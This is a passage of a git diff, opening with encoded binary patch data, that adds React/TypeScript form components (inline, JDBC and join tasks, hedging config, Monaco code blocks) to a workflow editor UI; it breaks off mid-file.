z>d5huNz!C2-Z#L=-m)<}@fM2Y|3*@eSzW|-VP5eLmtuH&wosWdGdT%IkXEngr$Mt@ z-}?{4OHnp9KG|#m7S+!?Tlx7bvbDbCZ*HI$5LNQkyQ8@*Vq03~)k_EwL?vcW#EWzX zplE(lR#s+U&_sGnRIAk+w>d|fwoHFAqd&)Tn%!K2ixaIVAQ{#D16(cqC()O{qJUmX4%ZGz z=LILnizeg5rdjkw_S;Dd|JIoQ4CW)=*A=xOGgi*Yxs5Zecj1)9HEzE;-D33#iZmDJ z{)o9-^sypFreeN-TVOS2kuD#I?FG1PXe8KzxW%)Z`praaBS_Pbf3}Xvd|SYQDi5)RiZ9rkgaG&$t`ZO-#G5C z*1HGO%;OR4my>yRHe@f5?f!6Zap6ps=17&v{>p^*I0LHX9-sMd%)ND3lwbQVI*N({ zf=Wp%2uO=`4k97l0}S2W(y2&DN;d=2t#pGRAl)Ec($YP{%$#TVzVA6_@BN;AU3*`@ zbFMRg5%a8P<-OLrKllClRCF0LF*C>d)w$>T*|gl__jos7FZfxRN`RKv5PBS&TiPtV z_vLd;Pskq8tr)u1dzUQM`b=2WvN^5x-uQnEB-;b(oqBqL&%~3y*6}g?m6CccPy@DjgUe z3x8$jqW_ixFyMyTs$=sn)tyCuX?>)qpq!CTi?8OjQV38N&?~mByfa}{X67C4 zvJ3%)Fo47M?XojXw9mrqdSj}jBy5?G;3ZBd*^{_x4wj9d?~U@@{`{25pMkN#gj~v6 z%zuB8`OY(1@A5;}fBlea(rWYpbDkj%06Vh4XSjfRPuXFPctojo+%n$z`TgU%(8|_FKKv+^(_)Uuy zSi+c&5Tp15$Q&xaoS&!ctG#2$&rvc7)z{zO-DN?xzXS8$d?k(cp_vR86u>=!S<0To zrws$)ZPMo%B*^BeGh-}b0Pj2Up5w#AFTJJ=alJ91d0FX}0Z)YLRH=4c`d2<)eI}0e zs-I*sh=|p{$!Gnd@2(9aTSv{O2Rz{01gb-|+SMYTdfV{-?F$%#h39@Zz-+`>Y{2Sp zKP>Ks@ZYwb$L!=X7Al2AByp03v}=UNRD)!Wiog@ay{Xp;ND%*J2b|rB*M83-L!Xr_$gG8V+9} z;j9@$TQr0e<^SwCyjcnQShfR7O4A`-mRQEC3|;9j<*rzd0&BEMg2au!7b1Qtkuedc z*81=&Fh>5F?FkE91CH+nJOw^q_+8#60*88rxX=igJ&h6X3NTAv-AaS zXIyT&eFF{s7NS+UD>MS!_J2dQ5F;fjN%8Tvcr=LFpD`tNwgrU*B8u&U=0f}^v@fS!XLp|=xD%=%RBy)OCYM1Q^)B|?hrJ~58T06eDPwHiz#GsWnBZ_%2a22McUddCGq#? z-@L?5zNG2iO;|%f;(yIaGyTI%dJ42hd1aR`n_5-TWzpE^wtG~ctOH~$1Rz?74 zpXyx;+;)6g5SE2p(S0)1zQ0YkQAy7B^%V=(!Trc@jD{|LJKd2wRg#wIAET(NA~F*6 zNN85-EuAVRleB8~&L@H%r_U7ptZV6C(sr~7@}^bR+0Q4Z+C51PMFk>4rYM#*?w-*g zot4k~_%{E*vJF&Obn+k)$_FSU-AC)=`WEn9Z3?TnNuT^6{^wABU&10KRhmFrafyva zR~?1o&^Liza(b^V9CRBvm%#AqR_@~|c`}{7@HZP1Fy4If_&1~H46HLnWLF*FRSCYo zIu^O+vO-%_UT&S!K!+C=Fd!FwP6o%E6&0f$7Q|mhzWcy#wm~*8xdV=2jp$sI(?PQLE8!L zZ^c+1B)lLhy>1E^-l28@nlAg4)41wBwKWHDZM0n)xv$LzOrMO)&qn#vYo77H9C)gs z1P$mpw5UbO$#QbSn@NXnUjA1UOU=9Gd2bx9FYOA8?}qdNHqJ4zRMLNM36@~+!UwA< zIONisSCz$oJjuZRxPJQwr>5&8J2Ji>w}%pEj9vLsglZ#^CHY4SWT@S}MJc z0KXnXU+(x#Dmk<^yhi^Od{Kj*Sp7SKXq$~?tU>Sgd3{Br4dk=9N1t)(aQG5Qbu`t=TdmbZ1C;6hR$D`IzDrcw2j z^|8ZsYUYtNoCda(-K$^sK5Yvi>3_TtiA&=`S!-$Q5Jmmi$>0( zP4py=Bd!%Ky4_D;pp=a2%5RgUD2GA-`9yVwSwX3Q4^AO(ne)>nM-?48Hx+A^+@71Fwtq37tjZR_nAk zWU(#B3xHRsEiqU#A=r*WO~D;5B&zXyu{G3he~qvBB=5EHDaAp)eT&Pw``mE|fdf3% zK=LP54np%n;H&>9^Y2fEy&TWD*RxP9fj|3f1834RX18>NMmw+qi$UcN zeaa0-p>Q*yjUHe@8rvw;lYe`?~Zzl^)PhWF6+q+nt=TiRjSF265 zrbB_fLSNfU0?@Be403RsE>F7ZvvF|!Q;}}mAf+P$VV!&(e`U#j!dAkLclvU^iBI|t zYK5+v(t{jowePbJJ2!CcjAsv=vWXb)UBA2A@9 z1FI8ezBD+Q)P6P3pv^@Wu~<;4F0@YMubO@q&r^{Rd96eF8#=r5XEDC!qC}ZFo~Lsn zvaLqVZXyql3e|pi(OsI}_Bsc>Y$wN;N-MRrlqTc|tc7ZFN$9FExM2eSz64RP_8Ok|RbanKz z$OT&_QZ2heTHEOCsS_f!^+%A7+s5w$)jbj)#GlVVGB|r?3#|crmlA=ewo}S|N@35A zXWy^llps%iZqI2FF|gq``*!4Dao8L^0)Wt=MAg2e$4CSW^@=u+;pN2A^|+Ewl{B_S zv`eb$v|WGgZ>-!gFt>z>K2r-N6;wpgdT0@@R{Vof9r-lxnZG0|D+z_zUv_B~h@bHL z)P23sXcs)1{ibJbDVgaSfz30F%pW?O8v3~;`VihEfJ;)!ZDw12>bF01-`*eCI!3Iu z`f+f>KQYkis%=&-jkTb48jF;1x-S+_qw&pBgHsB4YC zPBTGIZ!>_f20Po(TPxX1gPzvSZR@=&Y!#oVvC$>p%XZwY3MS&Z9NKQ`x05&`l$ig@J=O~J3~wS{zLA&st;+s z=dSsd2B}5iQ7BXabKzHM@QC-($uRh^+4DFfo7VLxjiW*h59RURg?@;uxrR$cQe7!9 zlS@FOFxX#M_*1_>Fj1h7`3U$L3SX8Ks@d}V9cDh=63jmU|8D+Kuu~ zW-2X%KMMU?heS^Gn813#)q8n^bJ(>>I(u}jC`OidK|ja|V$^g;Tb0^E&kf2w_@2`@ zTgc1XF7^Ms+ph2}!2IiuLmQ6fcc-DtCi@1PYh%u96pGQDzJzukeYu8s%S9s0vyrH? zpL!i$k}gW@ARWTHi-QowsX{eq-)fT$z3@%<2s zi(j9pZ_C85O&FLYR(k=Jyh*xw;ctcN8N4)I#k9I8^B&a;R$9wLWZ=hN7*B9n=se#m zi8V;Q`}mMrT}!cFW-L*Jq_&DmN=@UhR`ur>g(oGtL512jcFn$ZaZBXp#LnnUll)fx z=jAZ}qeWr^zgA<17)#GV;oGcK-vL4w8QeE--q_pYajcE4fqhUkkqbH6yPcM zj@HWaA(a^ep;-6CyB964)l#UHO{Ok0$mnq@V-7?^1Bp=tnyvs?cYs5u>gVuqIY5^J z`yn~EVLK>Ao&m)8Ja0I7-_>^L(tb!*P6CZ;q2tcC!`07>D<-?vmDp1+JSBKYyxDLt zvWOh6i{#>2I@A%uayb`7>{U=V1^zQ@X_iXt{SWn{iP3YFTn+FKFZPIte<*mL0W#~gT;l}|&5_r^{$AaxzKg1 z1uu-+G^Up4n)E{%@%pWgcdmX74*IS|^5uRo;NYl;jg5_4=i#WRUk$T>`9g9=?`H+c z6nu@2j$S(p4-Xe|-Fd-&Uu|b~vqwok-Rrt_;7y=D+z0h%G0B6KyP(y(fB7Pw1AVz? zB8(A7%(`OLZ`SH_@`azqBm$gmGgSphhC$#k`xFqOsQzZwPhy4VT=02;@87RscI6prhj7R1S2pr*9I6uGbsI5H{rzFbcnnX?K-I;o^Swv@IQq9xGO>sfbSP=dz`}^!Y|Ib4@TqYY(Gu@8d zr!@gCHfJ~fb+K^ASGeiZdRcAo9hSf!0HMd9)Kiv+HM{Q{Q#Hmqrpk0A&lbKhD5So4 zNQ6G@B*5pf9vUyxt9G=T>J5n?M{8xqS3h6)t>s(A#4$WEK_>%PL=Z@Ee;&(mFtQ@| zmV3>t=qYoaffZ$ab@eGAI7GwmXecAoyIau)D9G|r(%Ote5Qv!o91&>4wA=yWO?)$P@UVS*BrsTRir9h5zetMeD zV*?qiX?0(4O;ShoGQt2k0;7Y)7F8KVMMWbcBR~kCtAQ*3zjcX-niZb^k@Y?PYZYFZ z8?;tOc1-h%(@2$-l)6rEOokTu<_|z8ETVn9k>&t_Korw>Z(NIF;Q|+rmvf|}Gj$gM z5iLOJNyM-{AkMuJP`HTKmo2JiKu&#m{msMp0#Q

       + } + placement="top" + children={ + info + } + /> + + onChange({ ...hedgingConfig, maxAttempts: val })} + coerceTo="integer" + /> + + ); +} + +export default HedgingConfigForm; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/INLINETaskForm/INLINETaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/INLINETaskForm/INLINETaskForm.tsx new file mode 100644 index 0000000..8fa5273 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/INLINETaskForm/INLINETaskForm.tsx @@ -0,0 +1,133 @@ +import { Box, FormControlLabel, Grid } from "@mui/material"; +import RadioButtonGroup from "components/ui/inputs/RadioButtonGroup"; +import { ConductorFlatMapFormBase } from "components/FlatMapForm/ConductorFlatMapForm"; +import _path from "lodash/fp/path"; +import { colors } from "theme/tokens/variables"; +import { InlineTaskDef } from "types"; +import { featureFlags, FEATURES } from "utils"; +import { updateField } from "utils/fieldHelpers"; +import { Optional } from "../OptionalFieldForm"; +import TaskFormSection from "../TaskFormSection"; +import { TaskFormProps } from "../types"; +import InlineCodeBlock from "./InlineCodeBlock"; + +const hideJavascriptOption = featureFlags.isEnabled( + FEATURES.HIDE_JAVASCRIPT_OPTION, +); + +export const INLINETaskForm = ({ task, onChange }: TaskFormProps) => { + const isJavascriptVisible = + task?.inputParameters?.evaluatorType === "javascript"; + + let options = []; + if (hideJavascriptOption) { + options = [ + { + value: "graaljs", + label: "ECMASCRIPT", + }, + ]; + } else { + options = [ + { + value: "graaljs", + label: "ECMASCRIPT", + }, + ]; + if (isJavascriptVisible) { + const javascriptOption = { + value: "javascript", + label: "Javascript(deprecated)", + disabled: true, + }; + options = [...options, javascriptOption]; + } + } + + return ( + + + + + + onChange(updateField("inputParameters", data, task)) + } + value={{ ...(task?.inputParameters || {}) }} + /> + + + + + + {isJavascriptVisible && ( + + { + onChange( + updateField( + "inputParameters.evaluatorType", + value, + task, + ), + ); + }} + /> + } + label="Script:" + sx={{ + marginLeft: 0, + "& .MuiFormControlLabel-label": { + fontWeight: 600, + color: colors.gray07, + }, + }} + /> + + )} + + + } + onChange={onChange} + /> + + + + + + + + + + ); +}; + +export default INLINETaskForm; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/INLINETaskForm/InlineCodeBlock.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/INLINETaskForm/InlineCodeBlock.tsx new file mode 100644 index 0000000..c087f2d --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/INLINETaskForm/InlineCodeBlock.tsx @@ -0,0 +1,227 @@ +import { EditorProps, Monaco } from "@monaco-editor/react"; +import { BoxProps } from "@mui/material"; +import { Theme } from "@mui/material/styles"; +import { SxProps } from "@mui/system"; +import { ConductorCodeBlockInput } from "components/ui/inputs/ConductorCodeBlockInput"; +import _keys from "lodash/keys"; +import { + invalidDollarVariables, + undeclaredInputParameters, +} from "pages/definition/helpers"; +import { + CSSProperties, + FunctionComponent, + MutableRefObject, + ReactNode, + useCallback, + useContext, + useEffect, + useRef, +} from "react"; +import { ColorModeContext } from "theme/material/ColorModeContext"; +import { InlineTaskDef } from "types"; +import { + OnlyTheWordInfoProp, + editorAddCommandAltEnter, + editorDecorations, +} from "../../helpers"; +import { smallEditorDefaultOptions } from "../editorConfig"; +import { logger } from "utils/logger"; + +type InlineCodeBlockProps = { + label?: ReactNode; + language?: string; + onChange?: (taskChanges: Partial) => void; + containerProps?: BoxProps; + error?: boolean; + height?: number | "auto"; + minHeight?: number; + autoformat?: boolean; + labelStyle?: SxProps; + languageLabel?: string; + containerStyles?: CSSProperties; + autoSizeBox?: boolean; + task: Partial; +} & Partial>; + +const MIN_HEIGHT = 120; + +const additionalEditorOptions = { + lineNumbers: "on" as const, + lineDecorationsWidth: 10, +}; + +const warnUndeclaredVariables = ( + editor: Monaco, + monaco: any, + task: Partial, + currentDecorations: MutableRefObject, +) => { + const model = editor.getModel(); + const taskExpression = task?.inputParameters?.expression; + if (model && taskExpression && editor) { + const addedInputParameters = undeclaredInputParameters( + model.getValue(), + task?.inputParameters, + ); + + const invalidDollarVars = invalidDollarVariables(model.getValue()); + + const decorations = editorDecorations( + model, + [...addedInputParameters, ...invalidDollarVars], + monaco, + ); + + return editor.deltaDecorations( + currentDecorations.current ? currentDecorations.current : [], + decorations.flat(), + ); + } +}; + +const InlineCodeBlock: FunctionComponent = ({ + label = "Code", + language = "json", + onChange = () => null, + minHeight, + autoSizeBox = false, + task, + ...restOfProps +}) => { + const taskRef = useRef | null>(null); + taskRef.current = task; + const { mode } = useContext(ColorModeContext); + const disposeRef = useRef(null) as any; + const currentDecorations = useRef([]) as any; + + useEffect(() => { + return () => { + if (disposeRef.current) { + disposeRef.current(); + } + }; + }, []); + + const handleEditorDidMount = useCallback( + (editor: Monaco, monaco: any) => { + const model = editor.getModel(); + + const callBackFunction = (onlyTheWordInfo: OnlyTheWordInfoProp) => { + onChange({ + ...taskRef.current, + inputParameters: { + ...taskRef.current!.inputParameters, + [onlyTheWordInfo.word]: "", // Add the original word + expression: model.getValue(), + }, + } as Partial); + // cleanup + currentDecorations.current = warnUndeclaredVariables( + editor, + monaco, + taskRef.current!, + currentDecorations, + ); + }; + // editor.AddCommand function + editorAddCommandAltEnter(editor, monaco, taskRef, callBackFunction); + + editor.onDidChangeModelContent((_event: any) => { + // Warn on change + currentDecorations.current = warnUndeclaredVariables( + editor, + monaco, + taskRef.current!, + currentDecorations, + ); + }); + + currentDecorations.current = warnUndeclaredVariables( + editor, + monaco, + taskRef.current!, + currentDecorations, + ); + }, + [onChange], + ); + + const onEditorChange = useCallback( + (editorValue: string) => { + onChange({ + ...taskRef.current, + inputParameters: { + ...taskRef.current?.inputParameters, + expression: editorValue, + }, + } as Partial); + }, + [onChange], + ); + + const minimumHeight = minHeight || MIN_HEIGHT; + + return ( + { + handleEditorDidMount(editor, monaco); + }} + beforeMount={(monaco: Monaco) => { + if (disposeRef.current) { + try { + disposeRef.current(); + } catch (error) { + logger.error("Error disposing from Ref on beforeMount", error); + } + disposeRef.current = null; + } + const disposable = monaco.languages.registerCompletionItemProvider( + "javascript", + { + provideCompletionItems: () => { + const inputVariables = _keys(taskRef?.current?.inputParameters); + let variableSuggestions: string[] = []; + if (inputVariables) { + variableSuggestions = inputVariables + .filter( + (item) => item !== "expression" && item !== "evaluatorType", + ) + .map((item) => `$.${item}`); + } + // Provide suggestions for JSON properties that start with the current text + const propertySuggestions = variableSuggestions.map( + (property) => ({ + label: property, + kind: monaco.languages.CompletionItemKind.Value, + insertText: `${property}`, + }), + ); + // Merge custom suggestions with JSON property suggestions + const suggestions = [...propertySuggestions]; + return { suggestions }; + }, + }, + ); + + disposeRef.current = () => disposable.dispose(); + }} + width="100%" + height={autoSizeBox ? "auto" : minimumHeight} + minHeight={minimumHeight} + defaultLanguage={language} + options={{ + ...smallEditorDefaultOptions, + ...(autoSizeBox && { scrollBeyondLastLine: false }), + ...additionalEditorOptions, + }} + value={taskRef?.current?.inputParameters?.expression || ""} + {...restOfProps} + /> + ); +}; + +export default InlineCodeBlock; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/INLINETaskForm/index.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/INLINETaskForm/index.ts new file mode 100644 index 0000000..5126400 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/INLINETaskForm/index.ts @@ -0,0 +1 @@ +export * from "./INLINETaskForm"; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/JDBCTaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/JDBCTaskForm.tsx new file mode 100644 index 0000000..78a1e18 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/JDBCTaskForm.tsx @@ -0,0 +1,191 @@ +import { Box, Grid } from "@mui/material"; +import RadioButtonGroup from "components/ui/inputs/RadioButtonGroup"; +import { ConductorArrayField } from "components/ui/inputs/ConductorArrayField"; +import { ConductorCodeBlockInput } from "components/ui/inputs/ConductorCodeBlockInput"; +import { ConductorAutocompleteVariables } from "components/FlatMapForm/ConductorAutocompleteVariables"; +import { assoc as _assoc, path as _path } from "lodash/fp"; +import { ChangeEvent } from "react"; +import { UseQueryResult } from "react-query"; +import { IntegrationCategory, IntegrationDef, JDBCType, TaskType } from "types"; +import { updateField } from "utils/fieldHelpers"; +import { useIntegrationProviders } from "utils/useIntegrationProviders"; +import { ConductorCacheOutput } from "./ConductorCacheOutputForm"; +import { Optional } from "./OptionalFieldForm"; + +import TaskFormSection from "./TaskFormSection"; +import { TaskFormProps } from "./types"; + +const connectionIdPath = "inputParameters.connectionId"; +const integrationNamePath = "inputParameters.integrationName"; +const schemaNamePath = "inputParameters.schemaName"; +const expectedUpdateCountPath = "inputParameters.expectedUpdateCount"; +const jdbcTypePath = "inputParameters.type"; +const queryParametersPath = "inputParameters.parameters"; +const statementPath = "inputParameters.statement"; + +export const JDBCTaskForm = ({ task, onChange }: TaskFormProps) => { + const { data: integrationDBNames }: UseQueryResult = + useIntegrationProviders({ + category: IntegrationCategory.RELATIONAL_DB, + activeOnly: false, + }); + + const queryParameters = _path(queryParametersPath, task); + + const changeQueryParameters = (value: string[]) => { + onChange(updateField(queryParametersPath, value, task)); + }; + + return ( + + + + {!!task.inputParameters?.connectionId && ( + + + onChange(updateField(connectionIdPath, changes, task)) + } + value={_path(connectionIdPath, task)} + label="Connection id (Deprecated)" + disabled + /> + + )} + + item.name) || []} + onChange={(changes) => + onChange(updateField(integrationNamePath, changes, task)) + } + value={_path(integrationNamePath, task)} + label="Integration name" + /> + + + + onChange(updateField(schemaNamePath, changes, task)) + } + value={_path(schemaNamePath, task)} + label="Schema name" + /> + + + + + + + + ) => + onChange(_assoc(jdbcTypePath, val.target.value, task)) + } + items={[ + { + value: JDBCType.SELECT, + label: "SELECT", + }, + { + value: JDBCType.UPDATE, + label: "INSERT/UPDATE/DELETE", + }, + ]} + name="jdbcType" + /> + + {_path(jdbcTypePath, task) === JDBCType.UPDATE && ( + + + onChange( + updateField(expectedUpdateCountPath, changes, task), + ) + } + value={_path(expectedUpdateCountPath, task)} + label="Expected update count" + inputProps={{ + tooltip: { + title: "Expected update count", + content: + "If you have chosen ‘UPDATE’ as the statement type, provide the number of rows you need to update in the database.", + }, + }} + /> + + )} + + + + + + onChange(updateField(statementPath, changes, task)) + } + /> + + + + + + + + + + + + + + + + + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/JOINTaskForm/JOINTaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/JOINTaskForm/JOINTaskForm.tsx new file mode 100644 index 0000000..ece8941 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/JOINTaskForm/JOINTaskForm.tsx @@ -0,0 +1,309 @@ +import { Box, Grid, Stack, Typography } from "@mui/material"; +import FormControlLabel from "@mui/material/FormControlLabel"; +import { useSelector } from "@xstate/react"; +import Button from "components/ui/buttons/MuiButton"; +import MuiCheckbox from "components/ui/MuiCheckbox"; +import MuiTypography from "components/ui/MuiTypography"; +import ConfirmChoiceDialog from "components/ui/dialogs/ConfirmChoiceDialog"; +import { + crumbsToTaskSteps, + forkLastTaskReferences, + tasksAsNodes, +} from "components/features/flow/nodes/mapper"; +import { ConductorFlatMapFormBase } from "components/FlatMapForm/ConductorFlatMapForm"; +import _difference from "lodash/difference"; +import _first from "lodash/first"; +import { path as _path } from "lodash/fp"; +import _initial from "lodash/initial"; +import _isEqual from "lodash/isEqual"; +import _last from "lodash/last"; +import _nth from "lodash/nth"; +import { WorkflowEditContext } from "pages/definition/state"; +import { useCallback, useContext, useEffect, useMemo, useState } from "react"; +import { JoinTaskDef, TaskDef, TaskType } from "types/index"; +import { updateField } from "utils/fieldHelpers"; +import { Optional } from "../OptionalFieldForm"; +import TaskFormSection from "../TaskFormSection"; +import { TaskFormProps } from "../types"; +import { JoinCodeBlock } from "./JoinCodeBlock"; + +const DEFAULT_EXPRESSION = + '(function(){\n let results = {};\n let pendingJoinsFound = false;\n if($.joinOn){\n $.joinOn.forEach((element)=>{\n if($[element] && $[element].status !== \'COMPLETED\'){\n results[element] = $[element].status;\n pendingJoinsFound = true;\n }\n });\n if(pendingJoinsFound){\n return {\n "status":"IN_PROGRESS",\n "reasonForIncompletion":"Pending",\n "outputData":{\n "scriptResults": results\n }\n };\n }\n // To complete the Join - return true OR an object with status = \'COMPLETED\' like above.\n return true;\n }\n})();'; + +const EXPRESSION_PATH = "expression"; +const INPUT_PARAMETERS_PATH = "inputParameters"; + +export const JOINTaskForm = ({ task, onChange }: TaskFormProps) => { + const [possibleTaskReferences, setPossibleTaskReferences] = useState< + string[] + >([]); + + const [showConfirmOverrideDialog, setShowConfirmOverrideDialog] = + useState(false); + + const { workflowDefinitionActor } = useContext(WorkflowEditContext); + const selectedTaskCrumbs = useSelector( + workflowDefinitionActor!, + (state) => state.context.selectedTaskCrumbs, + ); + const editorTasks = useSelector( + workflowDefinitionActor!, + (state) => state.context.workflowChanges.tasks, + ); + + const tasksInCrumbBranch = useMemo(() => { + return _initial(crumbsToTaskSteps(selectedTaskCrumbs, editorTasks)); + }, [editorTasks, selectedTaskCrumbs]); + + const forkLastTaskReferencesWrapper = async (forkTask: TaskDef[]) => { + if (forkTask?.length > 0 && _last(forkTask)?.type === TaskType.TERMINATE) { + return []; + } + if (forkTask?.length === 1 && _first(forkTask)?.type === TaskType.SWITCH) { + return [_first(forkTask)?.taskReferenceName]; + } + return forkLastTaskReferences(forkTask, tasksAsNodes); + }; + + useEffect(() => { + const forkTasksInBranch = tasksInCrumbBranch.reduce( + (acc: any, ct: any, idx: number) => + ct.type === TaskType.FORK_JOIN + ? acc.concat( + Promise.all( + ct.forkTasks.map((t: TaskDef[]) => + forkLastTaskReferencesWrapper(t), + ), + ).then((trList) => { + return _difference( + trList.flat(), + (_nth(tasksInCrumbBranch, idx + 1) as any)?.joinOn || [], + ); + }), + ) + : acc, + [], + ); + async function setPossibleTaskReferencesAsync( + upperForkTask: Promise[], + ) { + const taskReferences = await Promise.all(upperForkTask); + setPossibleTaskReferences(taskReferences.flat()); + } + setPossibleTaskReferencesAsync(forkTasksInBranch); + }, [tasksInCrumbBranch]); + + const onChangeHandler = useCallback( + (a: any) => { + if (!a || !a.target) return; + const { name, checked } = a.target; + const currentSelections = task.joinOn; + const validCurrentSelections = possibleTaskReferences.filter((tr) => + currentSelections?.includes(tr), + ); + onChange({ + ...task, + joinOn: checked + ? validCurrentSelections.concat(name) + : validCurrentSelections.filter((n) => n !== name), + }); + }, + [onChange, possibleTaskReferences, task], + ); + + const handleApplySampleScript = useCallback(() => { + onChange(updateField(EXPRESSION_PATH, DEFAULT_EXPRESSION, task)); + }, [task, onChange]); + + const checkEveryJoin = useCallback(() => { + if (possibleTaskReferences.length > 0) { + onChange(updateField("joinOn", possibleTaskReferences, task)); + } + }, [task, onChange, possibleTaskReferences]); + + const unSelectAll = () => { + onChange(updateField("joinOn", [], task)); + }; + + const hasScriptExpression = useMemo((): boolean => { + return _path(EXPRESSION_PATH, task) != null; + }, [task]); + + const toggleScriptExpression = useCallback(() => { + if (hasScriptExpression) { + onChange({ ...task, expression: undefined, evaluatorType: undefined }); + } else { + onChange({ ...task, expression: "", evaluatorType: "js" }); + } + }, [task, onChange, hasScriptExpression]); + + const isEveryJoinSelected = useMemo(() => { + const selectedJoins = task?.joinOn || []; + return _isEqual(selectedJoins.sort(), possibleTaskReferences.sort()); + }, [task, possibleTaskReferences]); + + return ( + + + + Input joins + + + + } + accordionAdditionalProps={{ defaultExpanded: true }} + > + 0 ? 2 : 1} + sx={{ width: "100%" }} + id="input-joins-section" + > + {possibleTaskReferences?.map((forkTaskReferenceName) => ( + + + } + label={forkTaskReferenceName} + /> + + ))} + + + + + + + + onChange(updateField(INPUT_PARAMETERS_PATH, value, task)) + } + autoFocusField={false} + /> + + + + + + + + + } + label={"Use scripting to determine join"} + /> + + + + When checked, you must provide a script to control how the join + task completes. The script will have access to a variable called{" "} + $.joinOn which is an array of the task references + mapped to this join, and the output data of each joined task, such + as $['task-reference-name'] + + + + + setShowConfirmOverrideDialog(true)} + control={ + + } + label={"Apply sample script template"} + /> + + {hasScriptExpression ? ( + } + onChange={onChange} + /> + ) : null} + + + {showConfirmOverrideDialog && ( + { + if (confirmed) { + handleApplySampleScript(); + } + setShowConfirmOverrideDialog(false); + }} + message={ + "Applying the sample script will overwrite any existing script. Are you sure you want to proceed?" + } + /> + )} + + + + + + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/JOINTaskForm/JoinCodeBlock.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/JOINTaskForm/JoinCodeBlock.tsx new file mode 100644 index 0000000..6844a92 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/JOINTaskForm/JoinCodeBlock.tsx @@ -0,0 +1,248 @@ +import { EditorProps, Monaco } from "@monaco-editor/react"; +import { BoxProps } from "@mui/material"; +import { Theme } from "@mui/material/styles"; +import { SxProps } from "@mui/system"; +import _keys from "lodash/keys"; + +import { ConductorCodeBlockInput } from "components/ui/inputs/ConductorCodeBlockInput"; +import { + invalidDollarVariables, + undeclaredInputParameters, +} from "pages/definition/helpers"; +import { + CSSProperties, + FunctionComponent, + MutableRefObject, + ReactNode, + useCallback, + useContext, + useEffect, + useRef, +} from "react"; +import { ColorModeContext } from "theme/material/ColorModeContext"; +import { JoinTaskDef } from "types"; +import { editorDecorations } from "../../helpers"; +import { smallEditorDefaultOptions } from "../editorConfig"; + +type JoinCodeBlockProps = { + label?: ReactNode; + language?: string; + onChange?: (taskChanges: Partial) => void; + containerProps?: BoxProps; + error?: boolean; + height?: number | "auto"; + minHeight?: number; + autoformat?: boolean; + labelStyle?: SxProps; + languageLabel?: string; + containerStyles?: CSSProperties; + autoSizeBox?: boolean; + task: Partial; +} & Partial>; + +const MIN_HEIGHT = 120; + +const additionalEditorOptions = { + lineNumbers: "on" as const, + lineDecorationsWidth: 10, +}; + +const warnUndeclaredVariables = ( + editor: Monaco, + monaco: any, + task: Partial, + currentDecorations: MutableRefObject, +) => { + const model = editor.getModel(); + const taskExpression = task?.expression; + if (model && taskExpression && editor) { + const addedInputParameters = undeclaredInputParameters( + model.getValue(), + task?.inputParameters, + ); + let filteredInputParameters = [...addedInputParameters]; + + if (addedInputParameters.includes("joinOn")) { + filteredInputParameters = addedInputParameters.filter( + (item) => item !== "joinOn", + ); + } + + const invalidDollarVars = invalidDollarVariables(model.getValue()); + + const decorations = editorDecorations( + model, + [...filteredInputParameters, ...invalidDollarVars], + monaco, + ); + + return editor.deltaDecorations( + currentDecorations.current ? currentDecorations.current : [], + decorations.flat(), + ); + } +}; +const VARIABLE_DEFINER = "$."; +const EXEMPTED_KEYS = ["$.joinOn"]; + +export const JoinCodeBlock: FunctionComponent = ({ + language = "json", + onChange = () => null, + minHeight, + autoSizeBox = false, + task, + ...restOfProps +}) => { + const taskRef = useRef | null>(null); + taskRef.current = task; + const { mode } = useContext(ColorModeContext); + const disposeRef = useRef void)>(null); + const currentDecorations = useRef([]) as any; + + useEffect(() => { + return () => { + if (disposeRef.current) { + disposeRef.current(); + } + }; + }, []); + + const handleEditorDidMount = useCallback( + (editor: Monaco, monaco: any) => { + editor.addCommand(monaco.KeyMod.Alt | monaco.KeyCode.Enter, () => { + const position = editor.getPosition(); // Get the current cursor position + const model = editor.getModel(); + + if (model) { + const onlyTheWordInfo = model.getWordAtPosition(position); // This only selects the word + + const startColumn = onlyTheWordInfo?.startColumn; + if (startColumn > VARIABLE_DEFINER.length) { + // Avoid blowing up because of wrong position. + const newStart = Math.max(startColumn - VARIABLE_DEFINER.length, 1); // We select a new start + let word = null; + // Create a new range from th new start including $. + const wordRange = new monaco.Range( + position.lineNumber, + newStart, + position.lineNumber, + onlyTheWordInfo.endColumn, + ); + word = model.getValueInRange(wordRange); + + if ( + word && + word?.includes(VARIABLE_DEFINER) && + !EXEMPTED_KEYS.includes(word) + ) { + const maybeNewVariable = word.word; + const currentVariables = _keys( + taskRef.current?.inputParameters || {}, + ); + + if (!currentVariables.includes(maybeNewVariable)) { + onChange({ + ...taskRef.current, + inputParameters: { + ...taskRef.current!.inputParameters, + [onlyTheWordInfo.word]: "", // Add the original word + }, + } as Partial); + // cleanup + currentDecorations.current = warnUndeclaredVariables( + editor, + monaco, + taskRef.current!, + currentDecorations, + ); + } + } + } + } + }); + editor.onDidChangeModelContent((_event: any) => { + // Warn on change + currentDecorations.current = warnUndeclaredVariables( + editor, + monaco, + taskRef.current!, + currentDecorations, + ); + }); + + // Warn on mount + currentDecorations.current = warnUndeclaredVariables( + editor, + monaco, + taskRef.current!, + currentDecorations, + ); + }, + [onChange], + ); + + const onEditorChange = useCallback( + (editorValue: string) => { + onChange({ + ...taskRef.current, + expression: editorValue, + } as Partial); + }, + [onChange], + ); + + const minimumHeight = minHeight || 